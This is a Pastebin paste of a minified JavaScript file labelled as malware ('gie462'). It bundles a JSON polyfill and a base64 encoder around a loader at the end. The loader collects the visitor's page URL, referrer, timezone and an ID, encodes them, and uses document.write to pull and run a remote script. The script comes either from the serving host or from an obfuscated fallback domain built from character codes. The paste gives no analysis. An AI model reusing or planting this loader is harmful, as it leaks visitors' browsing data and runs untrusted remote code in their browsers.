Guest User

gie462(malware).js

a guest
Nov 5th, 2016
394
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function () {
  2.     function x() {
  3.         var b = K(),
  4.             a;
  5.         for (a in b) {
  6.             var m = b[a],
  7.                 c;
  8.             c = m;
  9.             if (6 !== c.length) c = !1;
  10.             else {
  11.                 var d;
  12.                 d = c.match(/^[a-z0-9]+$/) ? !0 : !1;
  13.                 if (d) {
  14.                     c = c.split("");
  15.                     for (index = d = 0; index < c.length; ++index) d += c[index].charCodeAt(0);
  16.                     c = 465 !== d ? !1 : !0
  17.                 } else c = !1
  18.             }
  19.             if (c && ("undefined" === typeof disable_override || !disable_override)) return m
  20.         }
  21.         return "gie462"
  22.     }
  23.  
  24.     function K() {
  25.         for (var b, a = /\+/g, m = /([^&=]+)=?([^&]*)/g, c = function (b) {
  26.                 b = b.replace(a, " ");
  27.                 var c;
  28.                 a: {
  29.                     c = b;
  30.                     var d = "%20 %21 %22 %23 %24 %25 %26 %27 %28 %29 %2A %2B %2C %2D %2E %2F %3A %3B %3C %3D %3E %3F %40 %5B %5C %5D %5E %5F %7B %7C %7D %7E %60".split(" ");
  31.                     for (i = 0; i < d.length; i++)
  32.                         if (-1 !== c.indexOf(d[i])) {
  33.                             c = !0;
  34.                             break a
  35.                         }
  36.                     c = !1
  37.                 }
  38.                 return c ? decodeURIComponent(b) : b
  39.             }, d = window.location.search.substring(1), e = {}; b = m.exec(d);) e[c(b[1])] = c(b[2]);
  40.         return e
  41.     }
  42.  
  43.     function q() {
  44.         for (var b = document.getElementsByTagName("script"), a = 0; a < b.length; a++)
  45.             if (-1 != b[a].src.indexOf("gie462")) return b[a]
  46.     }
  47.  
  48.     function H(b) {
  49.         return String.fromCharCode.apply(null, arguments)
  50.     }
  51.     var l = {
  52.         alphabet: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
  53.         lookup: null,
  54.         ie: /MSIE /.test(navigator.userAgent),
  55.         ieo: /MSIE [67]/.test(navigator.userAgent),
  56.         encode: function (b) {
  57.             b = l.toUtf8(b);
  58.             var a = -1,
  59.                 m = b.length,
  60.                 c, d, e = [, , , ];
  61.             if (l.ie) {
  62.                 for (var r = []; ++a < m;) c = b[a], d = b[++a], e[0] = c >> 2, e[1] = (c & 3) << 4 | d >> 4, isNaN(d) ? e[2] = e[3] = 64 : (c = b[++a], e[2] = (d & 15) << 2 | c >> 6, e[3] = isNaN(c) ? 64 : c & 63), r.push(l.alphabet.charAt(e[0]), l.alphabet.charAt(e[1]), l.alphabet.charAt(e[2]), l.alphabet.charAt(e[3]));
  63.                 return r.join("")
  64.             }
  65.             for (r = ""; ++a < m;) c = b[a], d = b[++a], e[0] = c >> 2, e[1] = (c & 3) << 4 | d >> 4, isNaN(d) ? e[2] = e[3] = 64 : (c = b[++a], e[2] = (d & 15) << 2 | c >> 6, e[3] = isNaN(c) ?
  66.                 64 : c & 63), r += l.alphabet[e[0]] + l.alphabet[e[1]] + l.alphabet[e[2]] + l.alphabet[e[3]];
  67.             return r
  68.         },
  69.         decode: function (b) {
  70.             if (b.length % 4) throw Error("decode failed.");
  71.             b = l.fromUtf8(b);
  72.             var a = 0,
  73.                 m = b.length;
  74.             if (l.ieo) {
  75.                 for (var c = []; a < m;) 128 > b[a] ? c.push(String.fromCharCode(b[a++])) : 191 < b[a] && 224 > b[a] ? c.push(String.fromCharCode((b[a++] & 31) << 6 | b[a++] & 63)) : c.push(String.fromCharCode((b[a++] & 15) << 12 | (b[a++] & 63) << 6 | b[a++] & 63));
  76.                 return c.join("")
  77.             }
  78.             for (c = ""; a < m;) c = 128 > b[a] ? c + String.fromCharCode(b[a++]) : 191 < b[a] && 224 > b[a] ? c + String.fromCharCode((b[a++] &
  79.                 31) << 6 | b[a++] & 63) : c + String.fromCharCode((b[a++] & 15) << 12 | (b[a++] & 63) << 6 | b[a++] & 63);
  80.             return c
  81.         },
  82.         toUtf8: function (b) {
  83.             var a = -1,
  84.                 m = b.length,
  85.                 c, d = [];
  86.             if (/^[\x00-\x7f]*$/.test(b))
  87.                 for (; ++a < m;) d.push(b.charCodeAt(a));
  88.             else
  89.                 for (; ++a < m;) c = b.charCodeAt(a), 128 > c ? d.push(c) : 2048 > c ? d.push(c >> 6 | 192, c & 63 | 128) : d.push(c >> 12 | 224, c >> 6 & 63 | 128, c & 63 | 128);
  90.             return d
  91.         },
  92.         fromUtf8: function (b) {
  93.             var a = -1,
  94.                 m, c = [],
  95.                 d = [, , , ];
  96.             if (!l.lookup) {
  97.                 m = l.alphabet.length;
  98.                 for (l.lookup = {}; ++a < m;) l.lookup[l.alphabet.charAt(a)] = a;
  99.                 a = -1
  100.             }
  101.             for (m = b.length; ++a < m;) {
  102.                 d[0] =
  103.                     l.lookup[b.charAt(a)];
  104.                 d[1] = l.lookup[b.charAt(++a)];
  105.                 c.push(d[0] << 2 | d[1] >> 4);
  106.                 d[2] = l.lookup[b.charAt(++a)];
  107.                 if (64 == d[2]) break;
  108.                 c.push((d[1] & 15) << 4 | d[2] >> 2);
  109.                 d[3] = l.lookup[b.charAt(++a)];
  110.                 if (64 == d[3]) break;
  111.                 c.push((d[2] & 3) << 6 | d[3])
  112.             }
  113.             return c
  114.         }
  115.     };
  116.     (function () {
  117.         function b(a, c) {
  118.             function e(g) {
  119.                 if (e[g] !== w) return e[g];
  120.                 var h;
  121.                 if ("bug-string-char-index" == g) h = !1;
  122.                 else if ("json" == g) h = e("json-stringify") && e("json-parse");
  123.                 else {
  124.                     var a;
  125.                     if ("json-stringify" == g) {
  126.                         h = c.stringify;
  127.                         var b = "function" == typeof h && t;
  128.                         if (b) {
  129.                             (a = function () {
  130.                                 return 1
  131.                             }).toJSON =
  132.                                 a;
  133.                             try {
  134.                                 b = "0" === h(0) && "0" === h(new l) && '""' == h(new x) && h(u) === w && h(w) === w && h() === w && "1" === h(a) && "[1]" == h([a]) && "[null]" == h([w]) && "null" == h(null) && "[null,null,null]" == h([w, u, null]) && '{"a":[1,true,false,null,"\\u0000\\b\\n\\f\\r\\t"]}' == h({
  135.                                         a: [a, !0, !1, null, "\x00\b\n\f\r\t"]
  136.                                     }) && "1" === h(null, a) && "[\n 1,\n 2\n]" == h([1, 2], null, 1) && '"-271821-04-20T00:00:00.000Z"' == h(new q(-864E13)) && '"+275760-09-13T00:00:00.000Z"' == h(new q(864E13)) && '"-000001-01-01T00:00:00.000Z"' == h(new q(-621987552E5)) && '"1969-12-31T23:59:59.999Z"' ==
  137.                                     h(new q(-1))
  138.                             } catch (d) {
  139.                                 b = !1
  140.                             }
  141.                         }
  142.                         h = b
  143.                     }
  144.                     if ("json-parse" == g) {
  145.                         h = c.parse;
  146.                         if ("function" == typeof h) try {
  147.                             if (0 === h("0") && !h(!1)) {
  148.                                 a = h('{"a":[1,true,false,null,"\\u0000\\b\\n\\f\\r\\t"]}');
  149.                                 var B = 5 == a.a.length && 1 === a.a[0];
  150.                                 if (B) {
  151.                                     try {
  152.                                         B = !h('"\t"')
  153.                                     } catch (d) {}
  154.                                     if (B) try {
  155.                                         B = 1 !== h("01")
  156.                                     } catch (d) {}
  157.                                     if (B) try {
  158.                                         B = 1 !== h("1.")
  159.                                     } catch (d) {}
  160.                                 }
  161.                             }
  162.                         } catch (d) {
  163.                             B = !1
  164.                         }
  165.                         h = B
  166.                     }
  167.                 }
  168.                 return e[g] = !!h
  169.             }
  170.             a || (a = d.Object());
  171.             c || (c = d.Object());
  172.             var l = a.Number || d.Number,
  173.                 x = a.String || d.String,
  174.                 r = a.Object || d.Object,
  175.                 q = a.Date || d.Date,
  176.                 E = a.SyntaxError || d.SyntaxError,
  177.                 H = a.TypeError ||
  178.                 d.TypeError,
  179.                 K = a.Math || d.Math,
  180.                 I = a.JSON || d.JSON;
  181.             "object" == typeof I && I && (c.stringify = I.stringify, c.parse = I.parse);
  182.             var r = r.prototype,
  183.                 u = r.toString,
  184.                 v, D, w, t = new q(-0xc782b5b800cec);
  185.             try {
  186.                 t = -109252 == t.getUTCFullYear() && 0 === t.getUTCMonth() && 1 === t.getUTCDate() && 10 == t.getUTCHours() && 37 == t.getUTCMinutes() && 6 == t.getUTCSeconds() && 708 == t.getUTCMilliseconds()
  187.             } catch (g) {}
  188.             if (!e("json")) {
  189.                 var F = e("bug-string-char-index");
  190.                 if (!t) var y = K.floor,
  191.                     Q = [0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334],
  192.                     G = function (g, h) {
  193.                         return Q[h] + 365 *
  194.                             (g - 1970) + y((g - 1969 + (h = +(1 < h))) / 4) - y((g - 1901 + h) / 100) + y((g - 1601 + h) / 400)
  195.                     };
  196.                 (v = r.hasOwnProperty) || (v = function (g) {
  197.                     var h = {},
  198.                         a;
  199.                     (h.__proto__ = null, h.__proto__ = {
  200.                         toString: 1
  201.                     }, h).toString != u ? v = function (g) {
  202.                         var a = this.__proto__;
  203.                         g = g in (this.__proto__ = null, this);
  204.                         this.__proto__ = a;
  205.                         return g
  206.                     } : (a = h.constructor, v = function (g) {
  207.                         var h = (this.constructor || a).prototype;
  208.                         return g in this && !(g in h && this[g] === h[g])
  209.                     });
  210.                     h = null;
  211.                     return v.call(this, g)
  212.                 });
  213.                 D = function (g, a) {
  214.                     var c = 0,
  215.                         b, d, f;
  216.                     (b = function () {
  217.                         this.valueOf = 0
  218.                     }).prototype.valueOf = 0;
  219.                     d =
  220.                         new b;
  221.                     for (f in d) v.call(d, f) && c++;
  222.                     b = d = null;
  223.                     c ? D = 2 == c ? function (g, a) {
  224.                         var h = {},
  225.                             c = "[object Function]" == u.call(g),
  226.                             b;
  227.                         for (b in g) c && "prototype" == b || v.call(h, b) || !(h[b] = 1) || !v.call(g, b) || a(b)
  228.                     } : function (g, a) {
  229.                         var h = "[object Function]" == u.call(g),
  230.                             b, c;
  231.                         for (b in g) h && "prototype" == b || !v.call(g, b) || (c = "constructor" === b) || a(b);
  232.                         (c || v.call(g, b = "constructor")) && a(b)
  233.                     } : (d = "valueOf toString toLocaleString propertyIsEnumerable isPrototypeOf hasOwnProperty constructor".split(" "), D = function (g, a) {
  234.                         var h = "[object Function]" ==
  235.                             u.call(g),
  236.                             b, c = !h && "function" != typeof g.constructor && m[typeof g.hasOwnProperty] && g.hasOwnProperty || v;
  237.                         for (b in g) h && "prototype" == b || !c.call(g, b) || a(b);
  238.                         for (h = d.length; b = d[--h]; c.call(g, b) && a(b));
  239.                     });
  240.                     return D(g, a)
  241.                 };
  242.                 if (!e("json-stringify")) {
  243.                     var R = {
  244.                             92: "\\\\",
  245.                             34: '\\"',
  246.                             8: "\\b",
  247.                             12: "\\f",
  248.                             10: "\\n",
  249.                             13: "\\r",
  250.                             9: "\\t"
  251.                         },
  252.                         z = function (g, a) {
  253.                             return ("000000" + (a || 0)).slice(-g)
  254.                         },
  255.                         N = function (g) {
  256.                             for (var a = '"', b = 0, c = g.length, d = !F || 10 < c, f = d && (F ? g.split("") : g); b < c; b++) {
  257.                                 var k = g.charCodeAt(b);
  258.                                 switch (k) {
  259.                                     case 8:
  260.                                     case 9:
  261.                                     case 10:
  262.                                     case 12:
  263.                                     case 13:
  264.                                     case 34:
  265.                                     case 92:
  266.                                         a +=
  267.                                             R[k];
  268.                                         break;
  269.                                     default:
  270.                                         a = 32 > k ? a + ("\\u00" + z(2, k.toString(16))) : a + (d ? f[b] : g.charAt(b))
  271.                                 }
  272.                             }
  273.                             return a + '"'
  274.                         },
  275.                         L = function (g, a, b, c, d, f, k) {
  276.                             var e, p, l, m, n, q, r, t, A;
  277.                             try {
  278.                                 e = a[g]
  279.                             } catch (x) {}
  280.                             if ("object" == typeof e && e)
  281.                                 if (p = u.call(e), "[object Date]" != p || v.call(e, "toJSON")) "function" == typeof e.toJSON && ("[object Number]" != p && "[object String]" != p && "[object Array]" != p || v.call(e, "toJSON")) && (e = e.toJSON(g));
  282.                                 else if (e > -1 / 0 && e < 1 / 0) {
  283.                                 if (G) {
  284.                                     m = y(e / 864E5);
  285.                                     for (p = y(m / 365.2425) + 1970 - 1; G(p + 1, 0) <= m; p++);
  286.                                     for (l = y((m - G(p, 0)) / 30.42); G(p, l + 1) <= m; l++);
  287.                                     m = 1 + m - G(p, l);
  288.                                     n = (e % 864E5 + 864E5) % 864E5;
  289.                                     q = y(n / 36E5) % 24;
  290.                                     r = y(n / 6E4) % 60;
  291.                                     t = y(n / 1E3) % 60;
  292.                                     n %= 1E3
  293.                                 } else p = e.getUTCFullYear(), l = e.getUTCMonth(), m = e.getUTCDate(), q = e.getUTCHours(), r = e.getUTCMinutes(), t = e.getUTCSeconds(), n = e.getUTCMilliseconds();
  294.                                 e = (0 >= p || 1E4 <= p ? (0 > p ? "-" : "+") + z(6, 0 > p ? -p : p) : z(4, p)) + "-" + z(2, l + 1) + "-" + z(2, m) + "T" + z(2, q) + ":" + z(2, r) + ":" + z(2, t) + "." + z(3, n) + "Z"
  295.                             } else e = null;
  296.                             b && (e = b.call(a, g, e));
  297.                             if (null === e) return "null";
  298.                             p = u.call(e);
  299.                             if ("[object Boolean]" == p) return "" + e;
  300.                             if ("[object Number]" == p) return e > -1 / 0 && e <
  301.                                 1 / 0 ? "" + e : "null";
  302.                             if ("[object String]" == p) return N("" + e);
  303.                             if ("object" == typeof e) {
  304.                                 for (g = k.length; g--;)
  305.                                     if (k[g] === e) throw H();
  306.                                 k.push(e);
  307.                                 A = [];
  308.                                 a = f;
  309.                                 f += d;
  310.                                 if ("[object Array]" == p) {
  311.                                     l = 0;
  312.                                     for (g = e.length; l < g; l++) p = L(l, e, b, c, d, f, k), A.push(p === w ? "null" : p);
  313.                                     g = A.length ? d ? "[\n" + f + A.join(",\n" + f) + "\n" + a + "]" : "[" + A.join(",") + "]" : "[]"
  314.                                 } else D(c || e, function (g) {
  315.                                     var a = L(g, e, b, c, d, f, k);
  316.                                     a !== w && A.push(N(g) + ":" + (d ? " " : "") + a)
  317.                                 }), g = A.length ? d ? "{\n" + f + A.join(",\n" + f) + "\n" + a + "}" : "{" + A.join(",") + "}" : "{}";
  318.                                 k.pop();
  319.                                 return g
  320.                             }
  321.                         };
  322.                     c.stringify = function (g,
  323.                         a, b) {
  324.                         var c, e, d, f;
  325.                         if (m[typeof a] && a)
  326.                             if ("[object Function]" == (f = u.call(a))) e = a;
  327.                             else if ("[object Array]" == f) {
  328.                             d = {};
  329.                             for (var l = 0, p = a.length, n; l < p; n = a[l++], (f = u.call(n), "[object String]" == f || "[object Number]" == f) && (d[n] = 1));
  330.                         }
  331.                         if (b)
  332.                             if ("[object Number]" == (f = u.call(b))) {
  333.                                 if (0 < (b -= b % 1))
  334.                                     for (c = "", 10 < b && (b = 10); c.length < b; c += " ");
  335.                             } else "[object String]" == f && (c = 10 >= b.length ? b : b.slice(0, 10));
  336.                         return L("", (n = {}, n[""] = g, n), e, d, c, "", [])
  337.                     }
  338.                 }
  339.                 if (!e("json-parse")) {
  340.                     var S = x.fromCharCode,
  341.                         T = {
  342.                             92: "\\",
  343.                             34: '"',
  344.                             47: "/",
  345.                             98: "\b",
  346.                             116: "\t",
  347.                             110: "\n",
  348.                             102: "\f",
  349.                             114: "\r"
  350.                         },
  351.                         f, J, n = function () {
  352.                             f = J = null;
  353.                             throw E();
  354.                         },
  355.                         C = function () {
  356.                             for (var a = J, b = a.length, c, e, d, l, k; f < b;) switch (k = a.charCodeAt(f), k) {
  357.                                 case 9:
  358.                                 case 10:
  359.                                 case 13:
  360.                                 case 32:
  361.                                     f++;
  362.                                     break;
  363.                                 case 123:
  364.                                 case 125:
  365.                                 case 91:
  366.                                 case 93:
  367.                                 case 58:
  368.                                 case 44:
  369.                                     return c = F ? a.charAt(f) : a[f], f++, c;
  370.                                 case 34:
  371.                                     c = "@";
  372.                                     for (f++; f < b;)
  373.                                         if (k = a.charCodeAt(f), 32 > k) n();
  374.                                         else if (92 == k) switch (k = a.charCodeAt(++f), k) {
  375.                                         case 92:
  376.                                         case 34:
  377.                                         case 47:
  378.                                         case 98:
  379.                                         case 116:
  380.                                         case 110:
  381.                                         case 102:
  382.                                         case 114:
  383.                                             c += T[k];
  384.                                             f++;
  385.                                             break;
  386.                                         case 117:
  387.                                             e = ++f;
  388.                                             for (d = f + 4; f < d; f++) k = a.charCodeAt(f),
  389.                                                 48 <= k && 57 >= k || 97 <= k && 102 >= k || 65 <= k && 70 >= k || n();
  390.                                             c += S("0x" + a.slice(e, f));
  391.                                             break;
  392.                                         default:
  393.                                             n()
  394.                                     } else {
  395.                                         if (34 == k) break;
  396.                                         k = a.charCodeAt(f);
  397.                                         for (e = f; 32 <= k && 92 != k && 34 != k;) k = a.charCodeAt(++f);
  398.                                         c += a.slice(e, f)
  399.                                     }
  400.                                     if (34 == a.charCodeAt(f)) return f++, c;
  401.                                     n();
  402.                                 default:
  403.                                     e = f;
  404.                                     45 == k && (l = !0, k = a.charCodeAt(++f));
  405.                                     if (48 <= k && 57 >= k) {
  406.                                         for (48 == k && (k = a.charCodeAt(f + 1), 48 <= k && 57 >= k) && n(); f < b && (k = a.charCodeAt(f), 48 <= k && 57 >= k); f++);
  407.                                         if (46 == a.charCodeAt(f)) {
  408.                                             for (d = ++f; d < b && (k = a.charCodeAt(d), 48 <= k && 57 >= k); d++);
  409.                                             d == f && n();
  410.                                             f = d
  411.                                         }
  412.                                         k = a.charCodeAt(f);
  413.                                         if (101 ==
  414.                                             k || 69 == k) {
  415.                                             k = a.charCodeAt(++f);
  416.                                             43 != k && 45 != k || f++;
  417.                                             for (d = f; d < b && (k = a.charCodeAt(d), 48 <= k && 57 >= k); d++);
  418.                                             d == f && n();
  419.                                             f = d
  420.                                         }
  421.                                         return +a.slice(e, f)
  422.                                     }
  423.                                     l && n();
  424.                                     if ("true" == a.slice(f, f + 4)) return f += 4, !0;
  425.                                     if ("false" == a.slice(f, f + 5)) return f += 5, !1;
  426.                                     if ("null" == a.slice(f, f + 4)) return f += 4, null;
  427.                                     n()
  428.                             }
  429.                             return "$"
  430.                         },
  431.                         M = function (a) {
  432.                             var b, c;
  433.                             "$" == a && n();
  434.                             if ("string" == typeof a) {
  435.                                 if ("@" == (F ? a.charAt(0) : a[0])) return a.slice(1);
  436.                                 if ("[" == a) {
  437.                                     for (b = [];; c || (c = !0)) {
  438.                                         a = C();
  439.                                         if ("]" == a) break;
  440.                                         c && ("," == a ? (a = C(), "]" == a && n()) : n());
  441.                                         "," == a && n();
  442.                                         b.push(M(a))
  443.                                     }
  444.                                     return b
  445.                                 }
  446.                                 if ("{" ==
  447.                                     a) {
  448.                                     for (b = {};; c || (c = !0)) {
  449.                                         a = C();
  450.                                         if ("}" == a) break;
  451.                                         c && ("," == a ? (a = C(), "}" == a && n()) : n());
  452.                                         "," != a && "string" == typeof a && "@" == (F ? a.charAt(0) : a[0]) && ":" == C() || n();
  453.                                         b[a.slice(1)] = M(C())
  454.                                     }
  455.                                     return b
  456.                                 }
  457.                                 n()
  458.                             }
  459.                             return a
  460.                         },
  461.                         P = function (a, b, c) {
  462.                             c = O(a, b, c);
  463.                             c === w ? delete a[b] : a[b] = c
  464.                         },
  465.                         O = function (a, b, c) {
  466.                             var d = a[b],
  467.                                 e;
  468.                             if ("object" == typeof d && d)
  469.                                 if ("[object Array]" == u.call(d))
  470.                                     for (e = d.length; e--;) P(d, e, c);
  471.                                 else D(d, function (a) {
  472.                                     P(d, a, c)
  473.                                 });
  474.                             return c.call(a, b, d)
  475.                         };
  476.                     c.parse = function (a, b) {
  477.                         var c, d;
  478.                         f = 0;
  479.                         J = "" + a;
  480.                         c = M(C());
  481.                         "$" != C() && n();
  482.                         f = J = null;
  483.                         return b &&
  484.                             "[object Function]" == u.call(b) ? O((d = {}, d[""] = c, d), "", b) : c
  485.                     }
  486.                 }
  487.             }
  488.             c.runInContext = b;
  489.             return c
  490.         }
  491.         var a = "function" === typeof define && define.amd,
  492.             m = {
  493.                 "function": !0,
  494.                 object: !0
  495.             },
  496.             c = m[typeof exports] && exports && !exports.nodeType && exports,
  497.             d = m[typeof window] && window || this,
  498.             e = c && m[typeof module] && module && !module.nodeType && "object" == typeof global && global;
  499.         !e || e.global !== e && e.window !== e && e.self !== e || (d = e);
  500.         if (c && !a) b(d, c);
  501.         else {
  502.             var l = d.JSON,
  503.                 x = d.JSON3,
  504.                 q = !1,
  505.                 E = b(d, d.JSON3 = {
  506.                     noConflict: function () {
  507.                         q || (q = !0, d.JSON = l, d.JSON3 = x, l = x = null);
  508.                         return E
  509.                     }
  510.                 });
  511.             d.JSON = {
  512.                 parse: E.parse,
  513.                 stringify: E.stringify
  514.             }
  515.         }
  516.         a && define(function () {
  517.             return E
  518.         })
  519.     }).call(this);
  520.     (function () {
  521.         var b = x(),
  522.             a = (new Date).getTimezoneOffset() / -1,
  523.             m = Math.floor(9999999 * Math.random() + 1E4),
  524.             c = document.referrer,
  525.             d = window.location.toString(),
  526.             e;
  527.         e = (e = /\?cr=([^&]+)/.exec(q().src)) ? l.decode(e[1]) : "";
  528.         b = "?d=" + l.encode(JSON.stringify({
  529.             k: b,
  530.             b: a,
  531.             c: m,
  532.             r: c,
  533.             s: d,
  534.             cr: e
  535.         }));
  536.         a = q().src;
  537.         a = -1 < a.indexOf("//") ? a.split("/")[2] : a.split("/")[0];
  538.         a = a.split(":")[0];
  539.         a = "//" + (a ? a : H(106, 115, 45, 99, 100, 110, 46, 99, 111, 109)) + H(47,
  540.             105, 109, 112, 47) + x() + ".js";
  541.         document.write('<script src="' + (a + b) + '">\x3c/script>')
  542.     })()
  543. })();
RAW Paste Data